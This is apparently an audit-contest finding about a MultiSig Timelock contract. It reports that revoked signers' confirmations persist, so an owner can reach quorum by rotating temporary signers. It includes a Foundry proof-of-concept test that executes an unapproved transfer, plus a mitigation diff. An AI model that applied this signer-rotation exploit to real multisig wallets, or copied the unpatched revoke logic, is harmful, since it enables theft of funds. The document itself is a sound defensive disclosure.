MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Revoked signer's confirmations are not cleared, allowing quorum bypass via signer rotation

Author Revealed upon completion

Revoked signer's confirmations are not cleared, allowing quorum bypass via signer rotation

Description

When a signer is revoked via revokeSigningRole(), their existing confirmations on pending transactions are NOT cleared. This allows a malicious owner to bypass the 3-of-5 quorum requirement by rotating the 5th signer slot: grant role → have temp signer confirm → revoke role → repeat.

After 3 rotations, the transaction has 3 confirmations from addresses that are no longer signers, while 4 legitimate permanent signers never confirmed.

function revokeSigningRole(address signer) public onlyOwner {
// ... validation ...
_revokeRole(SIGNING_ROLE, signer);
// ... update s_signers[], s_isSigner[], s_signerCount ...
@> // BUG: Does NOT clear signer's confirmations on pending transactions
@> // s_signatures[txnId][signer] still true
@> // s_transactions[txnId].confirmations NOT decremented
}

Risk

Likelihood: High

  • Txn confirmations are never decreased when revoke a signer.

Impact: High

  • Complete bypass of multi-signature quorum mechanism

  • Transactions can execute with 0 confirmations from current legitimate signers

  • Defeats the entire purpose of multi-sig security

Proof of Concept

Explanation: Owner proposes a transaction that 4 permanent signers disagree with. Owner then rotates the 5th signer slot 3 times: each temp signer confirms, then gets revoked. The transaction accumulates 3 "ghost" confirmations and becomes executable despite all 4 current signers never confirming.

function test_RevokedSignerConfirmationsNotCleared() public {
// Setup: 4 permanent signers who will NOT confirm
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
​
// Propose a transaction
address recipient = makeAddr("recipient");
uint256 txId = multiSigTimelock.proposeTransaction(recipient, 0.5 ether, "");
​
// Round 1: Add temp signer, confirm, revoke
address tempSigner1 = makeAddr("temp1");
multiSigTimelock.grantSigningRole(tempSigner1);
vm.prank(tempSigner1);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner1);
​
// Round 2: Add another temp signer, confirm, revoke
address tempSigner2 = makeAddr("temp2");
multiSigTimelock.grantSigningRole(tempSigner2);
vm.prank(tempSigner2);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner2);
​
// Round 3: Add third temp signer, confirm, revoke
address tempSigner3 = makeAddr("temp3");
multiSigTimelock.grantSigningRole(tempSigner3);
vm.prank(tempSigner3);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner3);
​
// BUG: 3 confirmations from NON-signers!
MultiSigTimelock.Transaction memory txn = multiSigTimelock.getTransaction(txId);
assertEq(txn.confirmations, 3);
​
// The 4 permanent signers NEVER confirmed, yet txn can execute
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
uint256 balanceBefore = recipient.balance;
vm.prank(SIGNER_FIVE);
multiSigTimelock.executeTransaction(txId);
​
// Transaction executed despite 4 current signers disagreeing!
assertEq(recipient.balance, balanceBefore + 0.5 ether);
}

Expected: Revoked signer's confirmations should be invalidated; quorum requires 3 current signers.
Actual: Ghost confirmations persist, allowing execution with 0 actual signer approvals.

Recommended Mitigation

Explanation: When a signer is revoked, iterate through all pending transactions and clear their confirmations. Alternatively, at execution time, verify that each confirmation belongs to a current signer.

function revokeSigningRole(address signer) public onlyOwner {
// ... existing validation ...
+ // Clear revoked signer's confirmations on all pending transactions
+ for (uint256 i = 0; i < s_txnCount; i++) {
+ if (s_signatures[i][signer] && !s_transactions[i].executed) {
+ s_signatures[i][signer] = false;
+ s_transactions[i].confirmations -= 1;
+ }
+ }
_revokeRole(SIGNING_ROLE, signer);
// ... rest of function ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!